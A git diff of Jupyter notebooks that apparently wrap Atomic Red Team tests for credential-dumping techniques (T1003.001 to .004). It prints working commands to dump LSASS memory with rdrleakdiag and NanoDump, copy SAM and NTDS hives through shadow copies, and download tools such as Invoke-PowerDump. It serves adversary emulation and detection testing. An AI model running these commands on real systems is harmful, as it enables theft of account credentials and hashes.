"#### Attack Commands: Run with `powershell`\n", @@ -428,28 +428,108 @@ { "cell_type": "code", "execution_count": null, - "id": "942fc167", + "id": "db14266b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "fffc3b44", + "id": "42caddf0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Windows\\Temp\\lsass-xordump.t1003.001.dmp -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b6f0bc89", + "id": "4b3e856c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.001 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "72ab9d8f", + "id": "be7d106e", + "metadata": {}, + "source": [ + "### Atomic Test #13 - Dump LSASS.exe using lolbin rdrleakdiag.exe", + "The memory of lsass.exe is often dumped for offline credential theft attacks. \nThis can be achieved with lolbin rdrleakdiag.exe. \n\nUpon successful execution, you should see the following files created, $env:TEMP\\minidump_.dmp and $env:TEMP\\results_.hlk.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif (Test-Path -Path \"$env:SystemRoot\\System32\\rdrleakdiag.exe\") {\n $binary_path = \"$env:SystemRoot\\System32\\rdrleakdiag.exe\"\n } elseif (Test-Path -Path \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\") {\n $binary_path = \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\"\n } else {\n $binary_path = \"File not found\"\n exit 1\n }\n$lsass_pid = get-process lsass |select -expand id\nif (-not (Test-Path -Path\"$env:TEMP\\t1003.001-13-rdrleakdiag\")) {New-Item -ItemType Directory -Path $env:TEMP\\t1003.001-13-rdrleakdiag -Force} \nwrite-host $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1\n& $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1\nWrite-Host \"Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\\t1003.001-13-rdrleakdiag directory.\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "32382b2d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.001 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "63a4c98b", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8ac4be17", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.001 -TestNumbers 13 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "49b47daf", + "metadata": {}, + "source": "### Atomic Test #14 - Dump LSASS.exe Memory through Silent Process Exit\nWerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a \nmemory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism \nintroduced in Windows 7 called Silent Process Exit, which provides the ability to trigger\nspecific actions for a monitored process in one of two scenarios; either the process terminates\nitself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. \nThe major advantage of this technique is that it does not cause lsass.exe to crash, and since \nWerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides \nthe added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, \nfrom an attacker standpoint this is appealing as their illicit credential extraction will \nappear benign because from a defender\u2019s viewpoint it\u2019s within the realm of normal activity.\n\nUpon successful execution, you should find the dump file in directory of your choice or \"%temp%\\SilentProcessExit\" by default.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "78970960", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.001 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "8d33fcb9", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nPathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe --silent-process-exit \"%temp%\\SilentProcessExit\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "73fe9704", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.001 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "8d302db4", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nrmdir \"%temp%\\SilentProcessExit\" /s /q >nul 2> nul\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "de842e91", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.001 -TestNumbers 14 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "53ace3db", "metadata": {}, "source": "## Detection\nMonitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis." } @@ -457,13 +537,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.002.ipynb b/playbook/tactics/credential-access/T1003.002.ipynb index 44bbde11..0579324e 100644 --- a/playbook/tactics/credential-access/T1003.002.ipynb +++ b/playbook/tactics/credential-access/T1003.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d4a23e8f", + "id": "27a6c613", "metadata": {}, "source": "# T1003.002 - Security Account Manager\nAdversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n" }, { "cell_type": "markdown", - "id": "c6e695df", + "id": "57d4671a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8a4da129", + "id": "f74cebb2", "metadata": {}, "source": [ "### Atomic Test #1 - Registry dump of SAM, creds, and secrets", @@ -28,42 +28,42 @@ { "cell_type": "code", "execution_count": null, - "id": "5238350f", + "id": "59c08f03", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "19184a00", + "id": "6d1d855b", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\sam >nul 2> nul\ndel %temp%\\system >nul 2> nul\ndel %temp%\\security >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bcd16d9e", + "id": "7be252b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7a69b8d3", + "id": "6253486e", "metadata": {}, "source": "### Atomic Test #2 - Registry parse with pypykatz\nParses registry hives to obtain stored credentials\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Computer must have python 3 installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"Python 3 must be installed manually\"\n\n```\n##### Description: Computer must have pip installed\n\n##### Check Prereq Commands:\n```cmd\npy -3 -m pip --version >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"PIP must be installed manually\"\n\n```\n##### Description: pypykatz must be installed and part of PATH\n\n##### Check Prereq Commands:\n```cmd\npypykatz -h >nul 2>&1\nexit /b %errorlevel%\n\n```\n##### Get Prereq Commands:\n```cmd\npip install pypykatz\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1fbf1517", + "id": "c2c33bea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "894e249c", + "id": "3e8de315", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -73,14 +73,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c4bc20c8", + "id": "1e67362e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "062aca21", + "id": "4c280046", "metadata": {}, "source": [ "### Atomic Test #3 - esentutl.exe SAM copy", @@ -94,59 +94,59 @@ { "cell_type": "code", "execution_count": null, - "id": "73c252f0", + "id": "d3069e86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "7ab4c94b", + "id": "90f001e2", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\SAM >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "649232ee", + "id": "4ee918b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "89e7c747", + "id": "d66e21f9", "metadata": {}, - "source": "### Atomic Test #4 - PowerDump Hashes and Usernames from Registry\nExecutes a hashdump by reading the hashes from the registry.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PowerDump script must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$Env:Temp\\PowerDump.ps1\") {exit 0} else {exit 1} \n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri \"https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\" -UseBasicParsing -OutFile \"$Env:Temp\\PowerDump.ps1\"\n```" + "source": "### Atomic Test #4 - PowerDump Hashes and Usernames from Registry\nExecutes a hashdump by reading the hashes from the registry.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PowerDump script must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\") {exit 0} else {exit 1} \n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-Webrequest -Uri \"https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f8279281", + "id": "ac4b5462", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "91584a9e", + "id": "1dc23b2e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nWrite-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"$Env:Temp\\PowerDump.ps1\"\nInvoke-PowerDump```" + "```powershell\nWrite-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\nInvoke-PowerDump```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9e797bac", + "id": "028d1a12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "62f0767d", + "id": "e763d6fa", "metadata": {}, "source": [ "### Atomic Test #5 - dump volume shadow copy hives with certutil", @@ -154,34 +154,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nfor /L %a in (1,1,10) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\SAM\" %temp%\\SAMvss%a 2 >nul 2>&1) && dir /B %temp%\\SAMvss%a\n```" + "```command_prompt\nfor /L %a in (1,1,10) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\SAM\" %temp%\\SAMvss%a 2 >nul 2>&1) & dir /B %temp%\\SAMvss*\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d5c66dd0", + "id": "f63c5f0d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "2641c4bf", + "id": "d058584d", "metadata": {}, "source": "#### Cleanup: \n```cmd\nfor /L %a in (1,1,10) do @(del %temp%\\SAMvss%a >nul 2>&1)\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ec171a87", + "id": "dfa13bb1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "f3b24bc5", + "id": "cfd99fc5", "metadata": {}, "source": [ "### Atomic Test #6 - dump volume shadow copy hives with System.IO.File", @@ -195,28 +195,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ffc63f6a", + "id": "148ff36e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "53ae86b7", + "id": "f5168393", "metadata": {}, "source": "#### Cleanup: \n```powershell\n1..10 | % {\n rm \"$env:TEMP\\SAMvss$_\" -ErrorAction Ignore\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b7c4b0bb", + "id": "584d9e25", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "ad7583c8", + "id": "61bef785", "metadata": {}, "source": [ "### Atomic Test #7 - WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes", @@ -229,14 +229,14 @@ { "cell_type": "code", "execution_count": null, - "id": "08153914", + "id": "76a9b3fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "aa1b8cdb", + "id": "05d1fe8c", "metadata": {}, "source": "## Detection\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well." } @@ -244,13 +244,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.003.ipynb b/playbook/tactics/credential-access/T1003.003.ipynb index 8cd48ca9..3bb6bcc4 100644 --- a/playbook/tactics/credential-access/T1003.003.ipynb +++ b/playbook/tactics/credential-access/T1003.003.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "3c17859a", + "id": "7f7814bf", "metadata": {}, "source": "# T1003.003 - NTDS\nAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n" }, { "cell_type": "markdown", - "id": "758b1fba", + "id": "a13c188c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "75f9c90c", + "id": "9fd081a6", "metadata": {}, "source": "### Atomic Test #1 - Create Volume Shadow Copy with vssadmin\nThis test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a Domain Controller\n\n##### Check Prereq Commands:\n```cmd\nreg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, Promoting this machine to a Domain Controller must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5bb61d8a", + "id": "7117cfea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f371c8e7", + "id": "3d5276e9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d704c0cd", + "id": "556d1de5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a6ee9b6c", + "id": "5a10b94c", "metadata": {}, "source": "### Atomic Test #2 - Copy NTDS.dit from Volume Shadow Copy\nThis test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n\nThis test requires steps taken in the test \"Create Volume Shadow Copy with vssadmin\".\nA successful test also requires the export of the SYSTEM Registry hive.\nThis test must be executed on a Windows Domain Controller.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a Domain Controller\n\n##### Check Prereq Commands:\n```cmd\nreg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, Promoting this machine to a Domain Controller must be done manually\n\n```\n##### Description: Volume shadow copy must exist\n\n##### Check Prereq Commands:\n```cmd\nif not exist \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1 (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\necho Run \"Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'\" to fulfill this requirement\n\n```\n##### Description: Extract path must exist\n\n##### Check Prereq Commands:\n```cmd\nif not exist C:\\Windows\\Temp (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\nmkdir C:\\Windows\\Temp\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "57ddd245", + "id": "ebd86cdd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "aec4f59c", + "id": "ec8eb457", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,42 +69,42 @@ { "cell_type": "code", "execution_count": null, - "id": "59972e27", + "id": "f2137cc4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e168feb5", + "id": "d6f760ed", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \"C:\\Windows\\Temp\\ntds.dit\" >nul 2> nul\ndel \"C:\\Windows\\Temp\\VSC_SYSTEM_HIVE\" >nul 2> nul\ndel \"C:\\Windows\\Temp\\SYSTEM_HIVE\" >nul 2> nul\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8e7c12c7", + "id": "f9ef55af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "579b4933", + "id": "f9598e92", "metadata": {}, "source": "### Atomic Test #3 - Dump Active Directory Database with NTDSUtil\nThis test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability\nuses the \"IFM\" or \"Install From Media\" backup functionality that allows Active Directory restoration or installation of\nsubsequent domain controllers without the need of network-based replication.\n\nUpon successful completion, you will find a copy of the ntds.dit file in the C:\\Windows\\Temp directory.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a Domain Controller\n\n##### Check Prereq Commands:\n```cmd\nreg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, Promoting this machine to a Domain Controller must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7145d30b", + "id": "fab9b196", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "53f65803", + "id": "7c864b34", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -114,42 +114,42 @@ { "cell_type": "code", "execution_count": null, - "id": "a44e6b95", + "id": "ca9a088d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9e11c694", + "id": "6356ac0f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nrmdir /q /s C:\\Windows\\Temp\\ntds_T1003 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c48cec7b", + "id": "623951f6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5d17be43", + "id": "89a59a2f", "metadata": {}, "source": "### Atomic Test #4 - Create Volume Shadow Copy with WMI\nThis test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a Domain Controller\n\n##### Check Prereq Commands:\n```cmd\nreg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, Promoting this machine to a Domain Controller must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ace069b5", + "id": "2bf99d40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2654080a", + "id": "3ea40941", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -159,28 +159,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b9d865c0", + "id": "c27da3cb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "86092389", + "id": "1453ad63", "metadata": {}, "source": "### Atomic Test #5 - Create Volume Shadow Copy remotely with WMI\nThis test is intended to be run from a remote workstation with domain admin context.\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a reachable Domain Controller, and current context must be domain admin\n\n##### Check Prereq Commands:\n```cmd\nwmic /node:\"localhost\" shadowcopy list brief\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "912e358e", + "id": "eb85ab69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2ceee5ec", + "id": "b9c106e3", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -190,28 +190,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ec1ee502", + "id": "8871a5ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "f38aeb04", + "id": "ecf2a602", "metadata": {}, "source": "### Atomic Test #6 - Create Volume Shadow Copy remotely (WMI) with esentutl\nThis test is intended to be run from a remote workstation with domain admin context.\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Target must be a reachable Domain Controller, and current context must be domain admin\n\n##### Check Prereq Commands:\n```cmd\nwmic /node:\"localhost\" shadowcopy list brief\n\n```\n##### Get Prereq Commands:\n```cmd\necho Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc834953", + "id": "794ca435", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d7d4d90e", + "id": "9548bd70", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -221,14 +221,14 @@ { "cell_type": "code", "execution_count": null, - "id": "bdf272b1", + "id": "8632e12f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "121dd9b4", + "id": "096edaa1", "metadata": {}, "source": [ "### Atomic Test #7 - Create Volume Shadow Copy with Powershell", @@ -242,14 +242,14 @@ { "cell_type": "code", "execution_count": null, - "id": "12abc649", + "id": "412ecd55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "694c3874", + "id": "a7b22e84", "metadata": {}, "source": [ "### Atomic Test #8 - Create Symlink to Volume Shadow Copy", @@ -263,14 +263,14 @@ { "cell_type": "code", "execution_count": null, - "id": "898dc599", + "id": "d931a41c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "c18272c6", + "id": "1b848286", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit." } @@ -278,13 +278,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.004.ipynb b/playbook/tactics/credential-access/T1003.004.ipynb index 6fb33f1f..3928a3e2 100644 --- a/playbook/tactics/credential-access/T1003.004.ipynb +++ b/playbook/tactics/credential-access/T1003.004.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "c8725e54", + "id": "f238ee18", "metadata": {}, "source": "# T1003.004 - LSA Secrets\nAdversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired 